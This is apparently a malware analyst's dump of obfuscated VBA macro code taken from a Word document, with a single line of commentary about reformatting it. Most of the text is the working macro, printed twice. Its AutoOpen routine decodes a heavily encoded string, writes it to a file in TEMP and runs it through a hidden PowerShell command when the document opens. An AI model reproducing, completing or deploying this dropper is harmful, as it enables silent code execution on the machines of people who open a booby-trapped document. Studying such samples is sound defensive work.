Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("53637269707469") & uxdufnkjlialsyp("6e672e46696c6553797374656d4f626a656374"))
Set dfdjqgaqhvxxi = rxnnvnfqufrzqfhnff.CreateTextFile(dropPath & uxdufnkjlialsyp("5c68697374") & uxdufnkjlialsyp("6f72792e62616b"), True)
dfdjqgaqhvxxi.Write bnhupraoau
dfdjqgaqhvxxi.Close
End Sub
Private Function wdysllqkgsbzs(strBytes) As String
Dim aNumbers
Dim fxnrfzsdxmcvranp As String
Dim iIter
fxnrfzsdxmcvranp = ""
aNumbers = Split(strBytes)
For iIter = LBound(aNumbers) To UBound(aNumbers)
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + Chr(aNumbers(iIter))
Next
wdysllqkgsbzs = fxnrfzsdxmcvranp
End Function
Private Function okbzichkqtto() As String
Dim fxnrfzsdxmcvranp As String
fxnrfzsdxmcvranp = ""
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3734203635203636203132322036352036382034382036352037342031") & uxdufnkjlialsyp("31392036352035312036352036382039392036352037362031303320363520353120363520363820383120363520373620313033"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520313230203635203638203130") & uxdufnkjlialsyp("37203635203739203635203635203131372036352036382038352036352037372031303320363520353420363520363820313033203635203737203635203635203532"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203638203635203635203734") & uxdufnkjlialsyp("20313139203635203535203635203637203831203635203937203831203635203537203635203637203939203635203930203635203635203438203635203638203737"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203839203130332036362031303620363520373120373720363520373820313033203636203130372036352036") & uxdufnkjlialsyp("37203438203635203737203635203635203438203635203638203737203635203930"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203132312036352036382038312036352037372036352036352035") & uxdufnkjlialsyp("33203635203637203438203635203738203131392036362031303820363520373120363920363520373720313033203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313232203635203731203639203635203737203130332036362031303620363520363720393920363520373920313139203635203130372036352037322036352036352038302038312036352031") & uxdufnkjlialsyp("3130203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373120313033203635203130302036352036362034382036352037322036352036352037392031303320") & uxdufnkjlialsyp("36352031313820363520363720353620363520373420313139203635203535203635203637203831"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352031303020313033203635203537203635203639203130372036352039382031303320363620353020363520373120353620363520393720313139203636203130382036352036372034") & uxdufnkjlialsyp("38203635203835"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("31303320363620313038203635203732203737203635203130302036352036362037382036352037312038352036352031303020363520363620313131203635203731203536203635203930") & uxdufnkjlialsyp("203635203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203637203438203635203836203831203636203132322036352037312038") & uxdufnkjlialsyp("35203635203831203130332036362031303420363520373220373720363520393720383120363620313036203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373020363520363520383920383120363620313231203635203732203737203635203937203831203636") & uxdufnkjlialsyp("2031313720363520373120393920363520373320363520363520313136203635203730203835203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3939203130332036362031313220363520363720363520363520373420363520363620313139203635203637203831203635203939203131392036352031313820") & uxdufnkjlialsyp("3635203731203831203635203738203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520313232203635203731203733203635") & uxdufnkjlialsyp("20383920313139203636203130362036352036382038392036352039302036352036352031303320363520363720343820363520383320363520363620313038"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352037312036392036352039302036352036362031303820363520373220373320363520393920313139203635") & uxdufnkjlialsyp("20313033203635203639203635203635203130312031313920363520313035203635203639"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363920363520313030203831203636203438203635203731203130332036352039") & uxdufnkjlialsyp("38203131392036362031323120363520373120313037203635203130312031303320363620313034203635203732203831"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520393720383120363620") & uxdufnkjlialsyp("313138203635203731203532203635203733203130332036352035372036352036372038312036352039372038312036362035372036352036382031313520363520313030"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313139203636203131312036352037312031303720363520393820363520363620313038") & uxdufnkjlialsyp("2036352036372036352036352037352036352036352031303720363520373220383120363520393920313033203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("34392036352037312038352036352037352038312036362035352036352036372038312036352038392031313920363520353720363520363720313033203635203833203831203636203131") & uxdufnkjlialsyp("37203635203732"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38392036352039382031313920363620313134203635203731203835203635203736203831203636203833") & uxdufnkjlialsyp("20363520373120383520363520393920313139203636203438203635203639203438203635203930"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38312036362034382036352037312031303320363520393820313139203636203130372036352036372036352036352037362038312036362038362036352037322037") & uxdufnkjlialsyp("37203635203930203831203636203637"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373120363920363520393920313139203636203131322036352037312037372036352038352036352036362031303420363520") & uxdufnkjlialsyp("37322037332036352039392031313920363620313132203635203731"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("35322036352039302031313920363520313033203635203637203438203635203836203831203636203132312036352037312031303720363520373320363520363520313037203635203732203635") & uxdufnkjlialsyp("203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37342036352036362031323220363520363720") & uxdufnkjlialsyp("35362036352037372036352036352034382036352036382037372036352039302031303320363520313231203635203638203831203635203737203635203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("353320363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635") & uxdufnkjlialsyp("2037312038352036352039392031303320363620313232203635203637"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352038312036352036362035352036352036372037332036352038") & uxdufnkjlialsyp("3120383120363620343920363520373220383120363520393720363520363620313138203635203732203733203635203937"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("383120363620353420363520373120363920363520") & uxdufnkjlialsyp("313030203635203636203131322036352037312035362036352039382031303320363520313035203635203638203438203635203734203635203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("31313220363520373220343820363520") & uxdufnkjlialsyp("37352038312036352035352036352037312031303720363520393020313033203635203130332036352036372031303320363520373420363520363620313036203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3637") & uxdufnkjlialsyp("20363520363520373620383120363620313137203635203731203835203635203733203635203635203131302036352036392035322036352039382031313920363620313137203635203731203835"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373420313139203635203131322036352036372036352036352031303120313139203635203130372036352037322037332036352038302038312036362031313220363520") & uxdufnkjlialsyp("373120383520363520313031"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352031303320") & uxdufnkjlialsyp("363520363720383120363520383920313139203635203130332036352036372034382036352038322038312036362031323120363520373220373320363520393820313139203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352036392036392036352038392031313920363620343820363520373120313037203635203938203131392036362031313720363520") & uxdufnkjlialsyp("363720363520363520383520313139203636203438203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3731203536203635203939203635203635203130332036352036372034382036352038322038312036362031323120") & uxdufnkjlialsyp("36352037322037332036352039382031313920363620313231203635203730203839"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520383920383120363620313231203635203731203130372036352038392038") & uxdufnkjlialsyp("31203636203130352036352037312031313920363520393020383120363520313033203635203731203835203635203739"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036352031303720363520373220373320363520383020383120") & uxdufnkjlialsyp("3636203830203635203732203835203635203130302036352036352031313620363520373020373720363520313030203635203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352037") & uxdufnkjlialsyp("31203130372036352039382031303320363620313130203635203637203635203635203736203831203636203734203635203731203532203635203939203635203636203439203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37322038312036352038342031313920363620313035203635203731203131312036352039302038312036362031303620363520373220383120363520373320363520363520313037203635203732") & uxdufnkjlialsyp("203733"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203739203131392036352031303720363520373220383120363520383020383120363620") & uxdufnkjlialsyp("373420363520373120353220363520313030203130332036362031313820363520373120313135203635203930"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38312036352031313620363520373020373320363520393020383120363620313232203635203732203831203635203834203831203636203130") & uxdufnkjlialsyp("3820363520373220383120363520393720363520363620313138"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203731203831203635203733") & uxdufnkjlialsyp("20363520363520313136203635203730203835203635203939203130332036362031313220363520363720363520363520373420363520363620313139203635203637"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3831203635203939203131392036352031313820363520363820393920363520393020383120363620313034203635203638203733203635203737203131392036362031303420363520363820373320") & uxdufnkjlialsyp("3635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38392031313920363520313033203635203637203438203635203834203831203636203130382036352037322038312036352039372036352036362031313820363520373120") & uxdufnkjlialsyp("3831203635203733203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363620383120") & uxdufnkjlialsyp("36352036392035362036352038352031313920363620383520363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37312038352036352039392031303320363620313232203635203637203635203635203831203635203636203535") & uxdufnkjlialsyp("203635203637203733203635203831203831203636203439203635203732203831203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3937203635203636203131382036352037322037332036352039372038312036362035342036352037312036392036352031303020363520363620313132203635203731203536203635203938") & uxdufnkjlialsyp("20313033"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203130352036352036382034382036352037342036352036362031313220363520373220343820363520373320363520363520") & uxdufnkjlialsyp("3131362036352036392037332036352039382031313920363620313037"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373220") & uxdufnkjlialsyp("3130372036352037332036352036352031313120363520373020313135203635203835203131392036362035332036352037322037372036352031303020363520363620313038203635203731"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3438203635") & uxdufnkjlialsyp("203736203130332036362038352036352037312038352036352031303120363520363620343820363520363720353220363520383220383120363620313137203635203731203737203635203938"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036362031303720363520373120313037203635203938203130332036362031313020363520373020343820363520373920313033203635203534203635203730203835203635") & uxdufnkjlialsyp("203836203635203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37312036352036382031303320363520373620313033203636203732203635203731") & uxdufnkjlialsyp("20383520363520313030203635203636203637203635203732203130372036352031303020363520363620313038203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3732203737203635203735203635203635203130372036352037312038352036352037352031313920363520313037203635203732203733203635203735203831203635") & uxdufnkjlialsyp("20313033203635203637203438"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352039372031303320363620") & uxdufnkjlialsyp("3131382036352037312031303720363520393820313033203635203130332036352036372039392036352037332036352036352031313020363520363720313037203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313032") & uxdufnkjlialsyp("20383120363520313033203635203732203737203635203938203635203636203130382036352037312038352036352039392036352036352031303320363520363820363520363520373620313033"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520353220363520373220343820363520383320363520363620") & uxdufnkjlialsyp("3835203635203639203733203635203130312031313920363520343920363520373220383520363520393920363520363520313232203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373220373320363520383820313139203635203132322036352036382038312036352037382038") & uxdufnkjlialsyp("31203636203533203635203730203536203635203938203831203635203438203635203731203737203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("393920313033203635203131392036352036382038352036352031303220383120") & uxdufnkjlialsyp("3635203631"))
okbzichkqtto = fxnrfzsdxmcvranp
End Function
Private Function sryivxjsdncj() As String
Dim fxnrfzsdxmcvranp As String
fxnrfzsdxmcvranp = ""
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + okbzichkqtto()
sryivxjsdncj = fxnrfzsdxmcvranp
End Function
Sub lmavedb()
dropPath = Environ("TEMP")
Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("536372697074696e672e46696c6553797374") & uxdufnkjlialsyp("656d4f626a656374"))
Set ktmlmpc = rxnnvnfqufrzqfhnff.OpenTextFile(dropPath & uxdufnkjlialsyp("5c68") & uxdufnkjlialsyp("6973746f72792e62616b"))
secret = ktmlmpc.ReadAll
ktmlmpc.Close
Code = "powershell -WindowStyle hidden -e """ & secret
x = Shell(Code, 1)
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function uxdufnkjlialsyp(ByVal tiyrahvbz As String) As String
Dim nqjveawetp As Long
For nqjveawetp = 1 To Len(tiyrahvbz) Step 2
uxdufnkjlialsyp = uxdufnkjlialsyp & Chr$(Val("&H" & Mid$(tiyrahvbz, nqjveawetp, 2)))
Next nqjveawetp
End Function
After removing the sections within ----
and using an online formatter to format the code, it looks much more readable.
Sub AutoOpen()
odhsjwpphlxnb
Call lmavedb
End Sub
Private Sub odhsjwpphlxnb()
Dim bnhupraoau As String
CreateObject("WScript.Shell").currentdirectory = Environ("TEMP")
bnhupraoau = sryivxjsdncj()
dropPath = Environ("TEMP")
Set rxnnvnfqufrzqfhnff = CreateObject(uxdufnkjlialsyp("53637269707469") & uxdufnkjlialsyp("6e672e46696c6553797374656d4f626a656374"))
Set dfdjqgaqhvxxi = rxnnvnfqufrzqfhnff.CreateTextFile(dropPath & uxdufnkjlialsyp("5c68697374") & uxdufnkjlialsyp("6f72792e62616b"), True)
dfdjqgaqhvxxi.Write bnhupraoau
dfdjqgaqhvxxi.Close
End Sub
Private Function wdysllqkgsbzs(strBytes) As String
Dim aNumbers
Dim fxnrfzsdxmcvranp As String
Dim iIter
fxnrfzsdxmcvranp = ""
aNumbers = Split(strBytes)
For iIter = LBound(aNumbers) To UBound(aNumbers)
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + Chr(aNumbers(iIter))
Next
wdysllqkgsbzs = fxnrfzsdxmcvranp
End Function
Private Function okbzichkqtto() As String
Dim fxnrfzsdxmcvranp As String
fxnrfzsdxmcvranp = ""
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3734203635203636203132322036352036382034382036352037342031") & uxdufnkjlialsyp("31392036352035312036352036382039392036352037362031303320363520353120363520363820383120363520373620313033"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520313230203635203638203130") & uxdufnkjlialsyp("37203635203739203635203635203131372036352036382038352036352037372031303320363520353420363520363820313033203635203737203635203635203532"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203638203635203635203734") & uxdufnkjlialsyp("20313139203635203535203635203637203831203635203937203831203635203537203635203637203939203635203930203635203635203438203635203638203737"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203839203130332036362031303620363520373120373720363520373820313033203636203130372036352036") & uxdufnkjlialsyp("37203438203635203737203635203635203438203635203638203737203635203930"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203132312036352036382038312036352037372036352036352035") & uxdufnkjlialsyp("33203635203637203438203635203738203131392036362031303820363520373120363920363520373720313033203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313232203635203731203639203635203737203130332036362031303620363520363720393920363520373920313139203635203130372036352037322036352036352038302038312036352031") & uxdufnkjlialsyp("3130203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373120313033203635203130302036352036362034382036352037322036352036352037392031303320") & uxdufnkjlialsyp("36352031313820363520363720353620363520373420313139203635203535203635203637203831"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352031303020313033203635203537203635203639203130372036352039382031303320363620353020363520373120353620363520393720313139203636203130382036352036372034") & uxdufnkjlialsyp("38203635203835"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("31303320363620313038203635203732203737203635203130302036352036362037382036352037312038352036352031303020363520363620313131203635203731203536203635203930") & uxdufnkjlialsyp("203635203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313033203635203637203438203635203836203831203636203132322036352037312038") & uxdufnkjlialsyp("35203635203831203130332036362031303420363520373220373720363520393720383120363620313036203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("373020363520363520383920383120363620313231203635203732203737203635203937203831203636") & uxdufnkjlialsyp("2031313720363520373120393920363520373320363520363520313136203635203730203835203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3939203130332036362031313220363520363720363520363520373420363520363620313139203635203637203831203635203939203131392036352031313820") & uxdufnkjlialsyp("3635203731203831203635203738203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520313232203635203731203733203635") & uxdufnkjlialsyp("20383920313139203636203130362036352036382038392036352039302036352036352031303320363520363720343820363520383320363520363620313038"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352037312036392036352039302036352036362031303820363520373220373320363520393920313139203635") & uxdufnkjlialsyp("20313033203635203639203635203635203130312031313920363520313035203635203639"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363920363520313030203831203636203438203635203731203130332036352039") & uxdufnkjlialsyp("38203131392036362031323120363520373120313037203635203130312031303320363620313034203635203732203831"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520393720383120363620") & uxdufnkjlialsyp("313138203635203731203532203635203733203130332036352035372036352036372038312036352039372038312036362035372036352036382031313520363520313030"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("313139203636203131312036352037312031303720363520393820363520363620313038") & uxdufnkjlialsyp("2036352036372036352036352037352036352036352031303720363520373220383120363520393920313033203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("34392036352037312038352036352037352038312036362035352036352036372038312036352038392031313920363520353720363520363720313033203635203833203831203636203131") & uxdufnkjlialsyp("37203635203732"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38392036352039382031313920363620313134203635203731203835203635203736203831203636203833") & uxdufnkjlialsyp("20363520373120383520363520393920313139203636203438203635203639203438203635203930"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38312036362034382036352037312031303320363520393820313139203636203130372036352036372036352036352037362038312036362038362036352037322037") & uxdufnkjlialsyp("37203635203930203831203636203637"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373120363920363520393920313139203636203131322036352037312037372036352038352036352036362031303420363520") & uxdufnkjlialsyp("37322037332036352039392031313920363620313132203635203731"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("35322036352039302031313920363520313033203635203637203438203635203836203831203636203132312036352037312031303720363520373320363520363520313037203635203732203635") & uxdufnkjlialsyp("203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37342036352036362031323220363520363720") & uxdufnkjlialsyp("35362036352037372036352036352034382036352036382037372036352039302031303320363520313231203635203638203831203635203737203635203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("353320363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635") & uxdufnkjlialsyp("2037312038352036352039392031303320363620313232203635203637"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352038312036352036362035352036352036372037332036352038") & uxdufnkjlialsyp("3120383120363620343920363520373220383120363520393720363520363620313138203635203732203733203635203937"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("383120363620353420363520373120363920363520") & uxdufnkjlialsyp("313030203635203636203131322036352037312035362036352039382031303320363520313035203635203638203438203635203734203635203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("31313220363520373220343820363520") & uxdufnkjlialsyp("37352038312036352035352036352037312031303720363520393020313033203635203130332036352036372031303320363520373420363520363620313036203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3637") & uxdufnkjlialsyp("20363520363520373620383120363620313137203635203731203835203635203733203635203635203131302036352036392035322036352039382031313920363620313137203635203731203835"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373420313139203635203131322036352036372036352036352031303120313139203635203130372036352037322037332036352038302038312036362031313220363520") & uxdufnkjlialsyp("373120383520363520313031"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("36352036352031303320") & uxdufnkjlialsyp("363520363720383120363520383920313139203635203130332036352036372034382036352038322038312036362031323120363520373220373320363520393820313139203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352036392036392036352038392031313920363620343820363520373120313037203635203938203131392036362031313720363520") & uxdufnkjlialsyp("363720363520363520383520313139203636203438203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3731203536203635203939203635203635203130332036352036372034382036352038322038312036362031323120") & uxdufnkjlialsyp("36352037322037332036352039382031313920363620313231203635203730203839"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520383920383120363620313231203635203731203130372036352038392038") & uxdufnkjlialsyp("31203636203130352036352037312031313920363520393020383120363520313033203635203731203835203635203739"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036352031303720363520373220373320363520383020383120") & uxdufnkjlialsyp("3636203830203635203732203835203635203130302036352036352031313620363520373020373720363520313030203635203636"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3132312036352037") & uxdufnkjlialsyp("31203130372036352039382031303320363620313130203635203637203635203635203736203831203636203734203635203731203532203635203939203635203636203439203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37322038312036352038342031313920363620313035203635203731203131312036352039302038312036362031303620363520373220383120363520373320363520363520313037203635203732") & uxdufnkjlialsyp("203733"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203739203131392036352031303720363520373220383120363520383020383120363620") & uxdufnkjlialsyp("373420363520373120353220363520313030203130332036362031313820363520373120313135203635203930"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38312036352031313620363520373020373320363520393020383120363620313232203635203732203831203635203834203831203636203130") & uxdufnkjlialsyp("3820363520373220383120363520393720363520363620313138"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203731203831203635203733") & uxdufnkjlialsyp("20363520363520313136203635203730203835203635203939203130332036362031313220363520363720363520363520373420363520363620313139203635203637"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3831203635203939203131392036352031313820363520363820393920363520393020383120363620313034203635203638203733203635203737203131392036362031303420363520363820373320") & uxdufnkjlialsyp("3635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("38392031313920363520313033203635203637203438203635203834203831203636203130382036352037322038312036352039372036352036362031313820363520373120") & uxdufnkjlialsyp("3831203635203733203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363620383120") & uxdufnkjlialsyp("36352036392035362036352038352031313920363620383520363520363720363520363520373620383120363620373320363520373120383520363520383920383120363620313037203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("37312038352036352039392031303320363620313232203635203637203635203635203831203635203636203535") & uxdufnkjlialsyp("203635203637203733203635203831203831203636203439203635203732203831203635"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3937203635203636203131382036352037322037332036352039372038312036362035342036352037312036392036352031303020363520363620313132203635203731203536203635203938") & uxdufnkjlialsyp("20313033"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3635203130352036352036382034382036352037342036352036362031313220363520373220343820363520373320363520363520") & uxdufnkjlialsyp("3131362036352036392037332036352039382031313920363620313037"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("363520373220") & uxdufnkjlialsyp("3130372036352037332036352036352031313120363520373020313135203635203835203131392036362035332036352037322037372036352031303020363520363620313038203635203731"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3438203635") & uxdufnkjlialsyp("203736203130332036362038352036352037312038352036352031303120363520363620343820363520363720353220363520383220383120363620313137203635203731203737203635203938"))
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs(uxdufnkjlialsyp("3131392036362031303720363520373120313037203635203938203130332036362031313020363520373020343820363520373920313033203635203534203635203730203835203635") & uxdufnkjlialsyp("203836203635203636"))
